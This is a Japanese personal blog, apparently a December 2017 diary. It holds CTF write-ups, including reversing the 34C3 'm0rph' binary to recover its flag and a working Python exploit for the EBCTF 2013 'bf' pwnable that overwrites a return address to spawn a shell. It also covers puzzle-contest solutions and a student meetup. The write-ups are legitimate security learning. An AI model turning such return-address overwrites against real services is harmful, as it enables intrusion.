34C3 CTFに参加した
2017年最後のCTF, 34C3 CTFにHarekazeから参加しました。
結果として1問しか解けなかった、難しい〜〜
vimは惜しいところまで行ってたけど時間と賢さが足りなかった。
m0rph (rev easy)
49点。一番スコアが低い問題。
ある.tar.gz
が渡されて、解凍するとx86-64なELFが出てくる。
せっかくなので使い始めたradare2で見てみる。画像はs main
からのVV
のあと、後述するループの部分まで移動したところ。
まず.rodata
の領域からヒープにコピーする。(PIEが有効なためセクションのアドレスはわからないのでbreak *0
→info file
やreadelf -S
でがんばる)
その後、コマンドライン引数として0x17サイズの文字列が渡されたときに中身の処理に移っている。(main
が初めにedi
をローカル変数として$ebp-0x24
に保存している。これはmain
の第1引数argc
のこと。また、rsi
も同様に第2引数argv
へのポインタを保存している)
そのあと0x17
回ループを行い、うまくループが終わればWhat are you waiting for, go submit that flag!
と表示される。
とりあえず適当に$ ./morph 34C3_hogehoge
と渡すと何も言わずexit
してしまう。call rax
あたりでexit
に飛んでしまうのだろう。
画像の上の四角でローカル変数に値を取り出している。
が、これだけだと何がしたいのかよくわからないので0x00202020
の中身を表示してみる(表示してみればよい、というそれだけのことに気づかず無限に時間溶けた)。
これとコード(とセクションのアドレス)を照らし合わせるとなんとなくわかったような、わからんような…
gdb-peda$ x/128gx 0x555555757260 0x555555757260: 0x0000555555757330 0x0000555555757350 0x555555757270: 0x00005555557574f0 0x00005555557575f0 0x555555757280: 0x00005555557573d0 0x00005555557575b0 0x555555757290: 0x0000555555757530 0x00005555557574d0 0x5555557572a0: 0x0000555555757490 0x0000555555757410 0x5555557572b0: 0x0000555555757570 0x00005555557575d0 0x5555557572c0: 0x0000555555757510 0x00005555557573b0 0x5555557572d0: 0x0000555555757550 0x0000555555757590 0x5555557572e0: 0x0000555555757450 0x0000555555757430 0x5555557572f0: 0x0000555555757370 0x0000555555757470 0x555555757300: 0x00005555557573f0 0x00005555557574b0 0x555555757310: 0x0000555555757390 0x0000000000000000 0x555555757320: 0x0000000000000000 0x0000000000000021 0x555555757330: 0x00007ffff7ff3000 0x0000000000000000 0x555555757340: 0x0000000000000000 0x0000000000000021 0x555555757350: 0x00007ffff7ff3011 0x0000000000000111 0x555555757360: 0x0000000000000000 0x0000000000000021 0x555555757370: 0x00007ffff7ff3022 0x0000000000000222 0x555555757380: 0x0000000000000000 0x0000000000000021 0x555555757390: 0x00007ffff7ff3033 0x0000000000000333 0x5555557573a0: 0x0000000000000000 0x0000000000000021 0x5555557573b0: 0x00007ffff7ff3044 0x0000000000000444 0x5555557573c0: 0x0000000000000000 0x0000000000000021 0x5555557573d0: 0x00007ffff7ff3055 0x0000000000000555 0x5555557573e0: 0x0000000000000000 0x0000000000000021 0x5555557573f0: 0x00007ffff7ff3066 0x0000000000000666 0x555555757400: 0x0000000000000000 0x0000000000000021 0x555555757410: 0x00007ffff7ff3077 0x0000000000000777 0x555555757420: 0x0000000000000000 0x0000000000000021 〜〜〜省略〜〜〜 0x555555757630: 0x0000000000000000 0x0000000000000000 0x555555757640: 0x0000000000000000 0x0000000000000000 0x555555757650: 0x0000000000000000 0x0000000000000000
まあいいやということで下の2つの四角も読んでいく。
$ebp-0x10
が指す値の9バイト先を読んだりcall rax
したりしてる。なんか中途半端だしややこしい。
とりあえずexit
させたくないので0xb95
と0xbc6
にブレークポイントを張って何が行われているか見ることにした。
0x33
、つまり'3'
と比較してjmp
しているようだ。フラグは34C3_
から始まるので、次は'4'
と比較するのかな?
と思ったが違った。'_'
だ。引数チェックをした後にsrand
が呼ばれていたのでランダムに比較しているみたい。
引数のどこと比較しているかは第1引数に書いてある(この場合はA
)。
何度か繰り返すと他の文字も出てきた。
いずれフラグのすべての文字と比較することになるので、ここからフラグが導き出せるのでは?
34C3_AAAAAAAAAAAAAAAAAA
だとどこと比較しているかわかりづらいので、34C3_abcdefghijklmnopqr
と変えてrunした。
FLAG: 34C3_M1GHTY_M0RPh1nG_g0
「もちろん俺らはsolveするで?」
「どうやってsolveすんねん」
「(cキーに踏み込み)拳で」※実際は指
書いたら簡単だけどすごく時間かかった。遠回りした。
12/27
sei0o-oooooooooo AAAAE-A-A-I-A-U- JO-oooooooooooo AAE-O-A-A-U-U-A- E-eee-ee-eee AAAAE-A-E-I-E-A- JO-ooo-oo-oo-oo EEEEO-A-AAA-AAAA
Brain Powerを強化していきたい季節。
ただ最近思うのは、脳のスタミナじゃなくて単純にまず体力が足りていないのではということ。運動したくなーい…
FunnyBusinessをwrite-up見て解いた。どうも.bss
を使うという発想に行き着かない。明日まとめる。
これが出題されたGhost in Shellcode CTFの他の問題も楽しそうなのがあったので余裕があれば見てみたい。
家のルータから部屋の距離が離れているので無線LANにまともに接続できない。どうにかしたいけど階が違うので有線で引っ張ってくるのはだるそう。
exploit書く時に時間かかりすぎて疲れたので夜は「はじめての言語ゲーム」という本を読んでいた。 面白い。普段本は技術書しか読まないので、何読んでも面白いって思える。ある意味で幸せである。
「いいねした人に一言」というようなツイートにいいねをするといろいろ返ってきて面白い。まあそりゃそうか。
明日は年内最後のCTF, 34C3。なんか評判が良いらしいので期待している。解けるかな??
12/26: 眠い
資料を見ながら実際にDEFCONのheapを解いた。理解するのは時間がかかるけど、やってることはヘッダのsizeをごまかして書き換えたい場所から8byte引いてるだけなんだよな〜 もちろん他の問題だとそうは行かないだろうけど。
pwn問題集のbabyからFunnyBusinessという問題を選んで取り組んでいるのだが、アセンブリがどうも読みづらい。
leave
とかどこにも書いてないし。仕方ないので動的解析の助けを借りてrecv
の辺りから広げていって読むことにした。夕方から結構眠くてアセンブリの内容も頭に入ってこなかったゆえ、radare2のチュートリアルを進めた。今までの左にgdb、右にobjdumpの逆アセンブル結果をvimでメモ書きして、putsの文字列なんかをいちいちx/s
で表示していたのがアホらしくなった。
A journey into Radare 2 – Part 1: Simple crackme – Megabeets
日本語文献が少ないそうなので何か書こうかなぁ。そのうち自然とwrite-upに出現させてそうだ。
民法はおもしろいという本を読み切った。最後の方はあんまりだったけど、中盤まではためになる面白い内容が多かった。「民法への招待」も読んでみたい。学校の図書館はさすがに買ってくれなさそうだ。
英字配列にしてからというものの、記号や数字を打つスピードがさらに遅くなっていて支障を感じていたのでタイピングをやりなおしている。今まではMキーやNキーを親指で押したり、中指でほとんどのキーをカバーしたりしていたのが、薬指や小指を活用するようにした。すると、キーボードの打鍵速度は大して変わらないのに音ゲーの指押しが上手になった。oh...
Xmas Contest 2017 に参加した
AとGの2完。プログラムを書かない問題ばかり解いた。
SATソルバの問題を見てPrologを勉強したくなった。あとで解説見て実装したい。
肝心の競プロらしい問題はサッパリだった。
A: Compressor
2WA出した。
2つのwavファイルからコンプレッサーにかけた後のものを選ぶ問題。
コンプレッサーについてまずは調べる。
http://taira-komori.jpn.org/06compressor.html このページ曰く、
コンプレス(compress)は圧縮する・押し付ける・縮める、という意味です。このエフェクトは波形上の大きな音の部分を下げ、反対 に小さな音の部分を上げて、全体を出来るだけ同じ大きさの音にします。
つまり2つを比べて音圧が狭い範囲に収まっているほうが答え。
Sonic Visualizerを用いてサンプルファイルの波形を見てみる。青い方がコンプレッサーをかけた後、緑が前。たしかにかける前はギザギザしている。
問題のファイルではもう少しわかりづらくなっているが、最大・最小値(赤丸を付けた部分)が0に近くなっているほうがコンプレス後。この画像(11個目のwav)では青い方。
AABAAAABABABBAB
が答え。
G: Maze
A~Zのめんどくさそうな迷路が与えられ、ゴールにたどり着けるものを選ぶ。
手で解くのはつらいので迷路ソルバを探していたところ、GIMPなどの画像編集ソフトで迷路を解く記事を見つけた。
http://www.instructables.com/id/Solving-maze-using-Photoshop-Gimp-Paint-or-any-oth/
これの手順を踏むと以下のようになる。線が迷路の周りをぐるっと1周してしまっているのは解けない迷路、逆に中を通っているのが解ける迷路。
ACEFGHNPQSYZ
が答え。
12/24
クリスマスイブ。肉を食べました。
昨日から取り組んでいたbfを解けたので記事を書いた。そろそろヒープの勉強をしたくなったのでkatagaitai勉強会のスライドで紹介されていたmalloc動画を見ている。結構な分量なのでまだ見終わっていない。
せっかく帰省したことだし昼は図書館に行って本を借りた。Web系の技術書は陳腐化したものが少なくないが、それほど変化が速くないバイナリなどについての本が多く揃っているので便利。たまには志向を変えて新書なんかも借りた。冬休み中に読めるところまで読みたい。
図書館のほうでアンケートがあってので、自由欄に「策謀本を入れてください!」と書いてきた。
Rubyのしくみ入ってるの強いよね pic.twitter.com/QGDCC5GU9l
— 他者との比較を避け、前向きに新年を迎える (@sei0o) 2017年12月24日
Xmas Contest 2017に出た。チームで出てもよかったのだが、それはそれで解ける問題がなくなってしまいそうなので一人で出た。2完。結局コードは1行も使わなかった(は?)。
EDCTF 2013 「bf」 を解いた
問題ファイル http://shell-storm.org/repo/CTF/EbCTF-2013-08/Pwnables/200/
5時間ぐらいかかってしまった・・・oh...
???「でも正解できればOKです!」
これまでは裏紙にスタックの絵を雑に書いていたが、罫線のあるノートに書くと見やすかった。次もそうしよう。
pwnable.twのcalcに似たものを感じる(似てるとは言ってない)。が、電卓ではなく独自言語でいろいろする感じ。
コードに出てくる演算子を整理している時に気づいた。Brainf*ckだ〜〜ファイル名の意味もわかった。
0x0 + 0x1 - 0x2 > 0x3 < 0x4 [ 0x5 ] 0x6 , 0x7 .
Brainf*ckでの値が入るバッファのアドレスをリークしてみたけど、コードは1回しか送れないので意味がなかった…
shell
というピッタリな関数があるので、そこにリターンさせればよい。
Brainf*ck用のバッファは$ebp-0xc8
から0x80
だけmemset
されている。その下にはアドレスやポインタの値が入ったローカル変数が並び、リターンアドレスがある。
>
のたびに4バイトポインタがずれるので、0xc8 / 4 + 1
だけ繰り返すとリターンアドレスのある場所までポインタを動かせる。
そして、shell
関数のある0x8048a6e
に中身を変更するので、もともとの値である0x8048a9d
の差分だけ-
で中の値を操作する。
Exploit
短い〜
import socket, time, os, struct, telnetlib def connect(ip, port): return socket.create_connection((ip, port)) def p(x): return struct.pack("<I", x) def u(x): return struct.unpack("<I", x)[0] def interact(s): t = telnetlib.Telnet() t.sock = s t.interact() s = connect('localhost', 62000) ### exploit ### retaddr_val = 0x8048a9d retaddr_val_target = 0x8048a6e # shell function delta = retaddr_val - retaddr_val_target payload = '>' * (0xc8 / 4 + 1) payload += '-' * delta payload += '\n' # leak buffer's address # payload = '>' * (0x20 + 1) # payload += '.' s.recv(1024) s.send(payload) interact(s)
CombKansaiに行った #CombKansai
日曜日に梅田で開かれた学生向けIT勉強会のCombKansaiに行ってきました。
自分の一応運営側だったので、参加者の案内などをしました。人が行き交うオフィスビルのフロアでCombKansaiを宣伝してきました。
一部のおばちゃんやサラリーマンの目が釘付けになっていたのできっと次回は人が増えますね。
これを持ってる人に話しかけてください. @sei0o #CombKansai pic.twitter.com/DSt5oGf1eE
— Santa (@santa_sukitoku) 2017年12月17日
詳細に関してはここを見てもらえればと思います。
CombKansaiの運営をやった話 - 好きとは言ったが得意とは言ってない。
個人的には大満足でした。いろんな人に会えてよかったです。
LTの分量が小さかったのと、いろいろ準備不足だった点は次回で改善します。都そばは回避しましょう。
あとはアレですね、LTするときの大阪弁。CombKansaiではいいんですが、CombNafの方に行くことがあれば気を付けないと。一時期埼玉に住んでいたのである程度標準語での会話も可能とはいえ。
また、事前のアンケートで参加者の興味をある程度知ることができればLTする人はやりやすいかなと思いました。「Ruby, ROP, 動的計画法, FFT, Juniper, Blockchain, TouchDesigner ... この中で知っている単語にチェックしてください」といった感じで。
私が一番惹かれたのは一番最後のLTでした。トラコン。ICTSCすごそう。
Ciscoルータが数千円で買えちゃうというのが大きな知見でした。年明けにルータ初心者向けの勉強会があるそうなので参加したいです。知識に見合う実践を補充する良い機会。